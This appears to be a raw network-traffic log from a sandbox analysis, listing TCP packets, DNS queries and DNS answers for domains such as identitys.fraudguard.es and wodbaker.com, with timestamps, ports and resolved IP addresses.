Nov 22, 2024 23:01:05.428889990 CET	49824	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.471334934 CET	443	49824	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.676593065 CET	443	49823	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.676682949 CET	443	49823	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.676748037 CET	49823	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.677494049 CET	49823	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.677536011 CET	443	49823	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.680826902 CET	49825	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.680855989 CET	443	49825	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:05.680934906 CET	49825	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.681267023 CET	49825	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:05.681277990 CET	443	49825	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.048716068 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.048739910 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.048747063 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.048800945 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.048841953 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.048849106 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:06.048867941 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.048899889 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.048918962 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:06.048918962 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:06.048918962 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:06.048934937 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:06.248759031 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.248785973 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.248878956 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:06.248900890 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.248953104 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:06.287566900 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.287585020 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.287661076 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:06.287672043 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.287722111 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:06.339485884 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.339590073 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:06.339598894 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:06.339658022 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:06.339844942 CET	49822	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:06.339863062 CET	443	49822	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:07.025962114 CET	443	49825	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:07.029185057 CET	49825	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:07.029208899 CET	443	49825	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:07.029762983 CET	443	49825	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:07.030620098 CET	49825	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:07.030709982 CET	443	49825	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:07.031021118 CET	49825	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:07.075335979 CET	443	49825	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:07.495357990 CET	443	49825	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:07.495543003 CET	443	49825	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:07.495722055 CET	49825	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:07.496686935 CET	49825	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:07.496714115 CET	443	49825	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:10.854259014 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:10.854300022 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:10.854412079 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:10.854696989 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:10.854708910 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:12.315768003 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:12.316112041 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:12.316137075 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:12.316636086 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:12.317122936 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:12.317212105 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:12.317322016 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:12.359360933 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:12.854393959 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:12.854429007 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:12.854449034 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:12.854552031 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:12.854588032 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:12.854648113 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:13.045490026 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:13.045559883 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:13.045660973 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:13.045721054 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:13.045757055 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:13.045794010 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:13.070499897 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:13.070628881 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:13.070657015 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:13.070774078 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:13.070874929 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:13.070897102 CET	443	49826	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:13.070911884 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:13.070960999 CET	49826	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:20.314050913 CET	49828	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:20.314141989 CET	443	49828	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:20.314261913 CET	49828	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:20.314518929 CET	49828	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:20.314548969 CET	443	49828	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:21.631563902 CET	443	49828	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:21.632081032 CET	49828	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:21.632148981 CET	443	49828	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:21.632649899 CET	443	49828	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:21.633083105 CET	49828	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:21.633168936 CET	443	49828	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:21.633378029 CET	49828	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:21.675349951 CET	443	49828	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:22.119843960 CET	443	49828	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:22.119954109 CET	443	49828	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:22.120023012 CET	49828	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:22.120443106 CET	49828	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:22.120466948 CET	443	49828	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:22.123641014 CET	49829	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:22.123694897 CET	443	49829	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:22.123784065 CET	49829	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:22.124233961 CET	49829	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:22.124245882 CET	443	49829	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.481662035 CET	443	49829	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.482162952 CET	49829	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:23.482199907 CET	443	49829	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.482712984 CET	443	49829	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.483227015 CET	49829	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:23.483335972 CET	443	49829	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.483418941 CET	49829	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:23.531342983 CET	443	49829	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.753140926 CET	443	49824	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.753257990 CET	443	49824	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.753319025 CET	49824	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:23.753766060 CET	49824	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:23.753784895 CET	443	49824	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.757272959 CET	49830	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:23.757318974 CET	443	49830	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.757452965 CET	49830	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:23.757663012 CET	49830	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:23.757675886 CET	443	49830	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.962016106 CET	443	49829	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.962135077 CET	443	49829	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:23.962199926 CET	49829	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:23.962675095 CET	49829	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:23.962702036 CET	443	49829	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:25.047519922 CET	443	49830	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:25.047837973 CET	49830	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:25.047904968 CET	443	49830	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:25.048258066 CET	443	49830	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:25.048666954 CET	49830	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:25.048729897 CET	443	49830	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:25.048830032 CET	49830	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:25.095330954 CET	443	49830	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:25.575155020 CET	443	49830	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:25.575397015 CET	443	49830	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:25.575475931 CET	49830	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:25.575727940 CET	49830	443	192.168.2.16	217.77.14.110
Nov 22, 2024 23:01:25.575773954 CET	443	49830	217.77.14.110	192.168.2.16
Nov 22, 2024 23:01:32.152987003 CET	49831	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:01:32.153043032 CET	443	49831	142.250.181.68	192.168.2.16
Nov 22, 2024 23:01:32.153362989 CET	49831	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:01:32.153624058 CET	49831	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:01:32.153640985 CET	443	49831	142.250.181.68	192.168.2.16
Nov 22, 2024 23:01:33.898706913 CET	443	49831	142.250.181.68	192.168.2.16
Nov 22, 2024 23:01:33.899079084 CET	49831	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:01:33.899105072 CET	443	49831	142.250.181.68	192.168.2.16
Nov 22, 2024 23:01:33.899887085 CET	443	49831	142.250.181.68	192.168.2.16
Nov 22, 2024 23:01:33.900177002 CET	49831	443	192.168.2.16	142.250.181.68
Nov 22, 2024 23:01:33.900301933 CET	443	49831	142.250.181.68	192.168.2.16
Nov 22, 2024 23:01:33.953907967 CET	49831	443	192.168.2.16	142.250.181.68

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 22, 2024 22:59:27.447757959 CET	53	59060	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:27.551472902 CET	53	61427	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:28.134363890 CET	58264	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:28.135045052 CET	60354	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:28.467375040 CET	53	60354	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:28.467524052 CET	53	58264	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:30.541670084 CET	53	61664	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:31.455969095 CET	65491	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:31.456110954 CET	60454	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:31.593003035 CET	53	65491	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:31.593056917 CET	53	60454	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:32.041537046 CET	58319	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:32.041745901 CET	53684	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:32.178849936 CET	53	58319	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:32.179774046 CET	53	53684	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:35.439577103 CET	52645	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:35.439730883 CET	53803	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:35.447498083 CET	53818	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:35.447701931 CET	59397	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:35.608674049 CET	53	52645	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:35.609136105 CET	53	59397	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:35.609185934 CET	53	53818	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:35.610048056 CET	53	53803	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:37.809597015 CET	53386	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:37.809849024 CET	50467	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:37.984797001 CET	53	50467	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:37.984812021 CET	53	53386	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:38.591532946 CET	63833	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:38.591675043 CET	55118	53	192.168.2.16	1.1.1.1
Nov 22, 2024 22:59:38.728662014 CET	53	63833	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:38.728979111 CET	53	55118	1.1.1.1	192.168.2.16
Nov 22, 2024 22:59:47.494168997 CET	53	63590	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:06.413156986 CET	53	49556	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:07.233419895 CET	50249	53	192.168.2.16	1.1.1.1
Nov 22, 2024 23:00:07.233566999 CET	52282	53	192.168.2.16	1.1.1.1
Nov 22, 2024 23:00:07.580534935 CET	53	52282	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:07.614411116 CET	53	50249	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:22.897269964 CET	52680	53	192.168.2.16	1.1.1.1
Nov 22, 2024 23:00:23.037003040 CET	53	52680	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:27.371607065 CET	53	64315	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:28.838073969 CET	53	58627	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:31.457750082 CET	52085	53	192.168.2.16	1.1.1.1
Nov 22, 2024 23:00:31.457928896 CET	52938	53	192.168.2.16	1.1.1.1
Nov 22, 2024 23:00:31.595168114 CET	53	52085	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:31.595288038 CET	53	52938	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:34.114335060 CET	138	138	192.168.2.16	192.168.2.255
Nov 22, 2024 23:00:53.977183104 CET	54274	53	192.168.2.16	1.1.1.1
Nov 22, 2024 23:00:53.977391958 CET	52407	53	192.168.2.16	1.1.1.1
Nov 22, 2024 23:00:54.113553047 CET	53	58563	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:54.114618063 CET	53	52407	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:54.115291119 CET	53	54274	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:54.967732906 CET	54738	53	192.168.2.16	1.1.1.1
Nov 22, 2024 23:00:54.968099117 CET	55199	53	192.168.2.16	1.1.1.1
Nov 22, 2024 23:00:55.105464935 CET	53	54738	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:55.105508089 CET	53	55199	1.1.1.1	192.168.2.16
Nov 22, 2024 23:00:57.098030090 CET	53	52878	1.1.1.1	192.168.2.16
Nov 22, 2024 23:01:00.335870028 CET	51697	53	192.168.2.16	1.1.1.1
Nov 22, 2024 23:01:00.336047888 CET	64264	53	192.168.2.16	1.1.1.1
Nov 22, 2024 23:01:00.474303961 CET	53	51697	1.1.1.1	192.168.2.16
Nov 22, 2024 23:01:00.474410057 CET	53	64264	1.1.1.1	192.168.2.16
Nov 22, 2024 23:01:13.274584055 CET	53	49556	1.1.1.1	192.168.2.16
Nov 22, 2024 23:01:17.300044060 CET	53	57878	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 22, 2024 22:59:28.134363890 CET	192.168.2.16	1.1.1.1	0x8b30	Standard query (0)	identitys.fraudguard.es	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:28.135045052 CET	192.168.2.16	1.1.1.1	0x6cdb	Standard query (0)	identitys.fraudguard.es	65	IN (0x0001)	false
Nov 22, 2024 22:59:31.455969095 CET	192.168.2.16	1.1.1.1	0xd000	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:31.456110954 CET	192.168.2.16	1.1.1.1	0xcc09	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Nov 22, 2024 22:59:32.041537046 CET	192.168.2.16	1.1.1.1	0xf8c8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:32.041745901 CET	192.168.2.16	1.1.1.1	0x26c5	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 22, 2024 22:59:35.439577103 CET	192.168.2.16	1.1.1.1	0x5ea9	Standard query (0)	identitys.fraudguard.es	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:35.439730883 CET	192.168.2.16	1.1.1.1	0xc3f8	Standard query (0)	identitys.fraudguard.es	65	IN (0x0001)	false
Nov 22, 2024 22:59:35.447498083 CET	192.168.2.16	1.1.1.1	0xe635	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:35.447701931 CET	192.168.2.16	1.1.1.1	0x97a1	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 22, 2024 22:59:37.809597015 CET	192.168.2.16	1.1.1.1	0xb307	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:37.809849024 CET	192.168.2.16	1.1.1.1	0x39f2	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 22, 2024 22:59:38.591532946 CET	192.168.2.16	1.1.1.1	0x95d4	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:38.591675043 CET	192.168.2.16	1.1.1.1	0x4aec	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 22, 2024 23:00:07.233419895 CET	192.168.2.16	1.1.1.1	0xed89	Standard query (0)	wodbaker.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:00:07.233566999 CET	192.168.2.16	1.1.1.1	0x200b	Standard query (0)	wodbaker.com	65	IN (0x0001)	false
Nov 22, 2024 23:00:22.897269964 CET	192.168.2.16	1.1.1.1	0x996	Standard query (0)	wodbaker.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:00:31.457750082 CET	192.168.2.16	1.1.1.1	0xfb8a	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:00:31.457928896 CET	192.168.2.16	1.1.1.1	0x250d	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Nov 22, 2024 23:00:53.977183104 CET	192.168.2.16	1.1.1.1	0x55b2	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:00:53.977391958 CET	192.168.2.16	1.1.1.1	0x3e35	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 22, 2024 23:00:54.967732906 CET	192.168.2.16	1.1.1.1	0xf38a	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:00:54.968099117 CET	192.168.2.16	1.1.1.1	0xc918	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 22, 2024 23:01:00.335870028 CET	192.168.2.16	1.1.1.1	0x889c	Standard query (0)	wodbaker.com	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:01:00.336047888 CET	192.168.2.16	1.1.1.1	0x878f	Standard query (0)	wodbaker.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 22, 2024 22:59:28.467375040 CET	1.1.1.1	192.168.2.16	0x6cdb	No error (0)	identitys.fraudguard.es			65	IN (0x0001)	false
Nov 22, 2024 22:59:28.467524052 CET	1.1.1.1	192.168.2.16	0x8b30	No error (0)	identitys.fraudguard.es		172.67.218.103	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:28.467524052 CET	1.1.1.1	192.168.2.16	0x8b30	No error (0)	identitys.fraudguard.es		104.21.94.21	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:31.593003035 CET	1.1.1.1	192.168.2.16	0xd000	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:32.178849936 CET	1.1.1.1	192.168.2.16	0xf8c8	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:32.179774046 CET	1.1.1.1	192.168.2.16	0x26c5	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 22, 2024 22:59:34.257769108 CET	1.1.1.1	192.168.2.16	0x12c4	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 22:59:34.257769108 CET	1.1.1.1	192.168.2.16	0x12c4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.59.35	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:34.257769108 CET	1.1.1.1	192.168.2.16	0x12c4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.39	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:34.257769108 CET	1.1.1.1	192.168.2.16	0x12c4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.211.20	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:34.257769108 CET	1.1.1.1	192.168.2.16	0x12c4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.102	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:34.257769108 CET	1.1.1.1	192.168.2.16	0x12c4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.56.102	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:34.257769108 CET	1.1.1.1	192.168.2.16	0x12c4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.56.99	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:34.257769108 CET	1.1.1.1	192.168.2.16	0x12c4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.74	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:34.257769108 CET	1.1.1.1	192.168.2.16	0x12c4	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.208.105	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:35.608674049 CET	1.1.1.1	192.168.2.16	0x5ea9	No error (0)	identitys.fraudguard.es		104.21.94.21	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:35.608674049 CET	1.1.1.1	192.168.2.16	0x5ea9	No error (0)	identitys.fraudguard.es		172.67.218.103	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:35.609136105 CET	1.1.1.1	192.168.2.16	0x97a1	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 22, 2024 22:59:35.609185934 CET	1.1.1.1	192.168.2.16	0xe635	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:35.609185934 CET	1.1.1.1	192.168.2.16	0xe635	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:35.610048056 CET	1.1.1.1	192.168.2.16	0xc3f8	No error (0)	identitys.fraudguard.es			65	IN (0x0001)	false
Nov 22, 2024 22:59:37.984797001 CET	1.1.1.1	192.168.2.16	0x39f2	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 22, 2024 22:59:37.984812021 CET	1.1.1.1	192.168.2.16	0xb307	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:37.984812021 CET	1.1.1.1	192.168.2.16	0xb307	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:38.728662014 CET	1.1.1.1	192.168.2.16	0x95d4	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:38.728662014 CET	1.1.1.1	192.168.2.16	0x95d4	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 22, 2024 22:59:38.728979111 CET	1.1.1.1	192.168.2.16	0x4aec	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 22, 2024 23:00:07.614411116 CET	1.1.1.1	192.168.2.16	0xed89	No error (0)	wodbaker.com		217.77.14.110	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:00:23.037003040 CET	1.1.1.1	192.168.2.16	0x996	No error (0)	wodbaker.com		217.77.14.110	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:00:28.063396931 CET	1.1.1.1	192.168.2.16	0x15f8	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 22, 2024 23:00:28.063396931 CET	1.1.1.1	192.168.2.16	0x15f8	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:00:31.595168114 CET	1.1.1.1	192.168.2.16	0xfb8a	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Nov 22, 2024 23:00:31.861673117 CET	1.1.1.1	192.168.2.16	0x6448	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
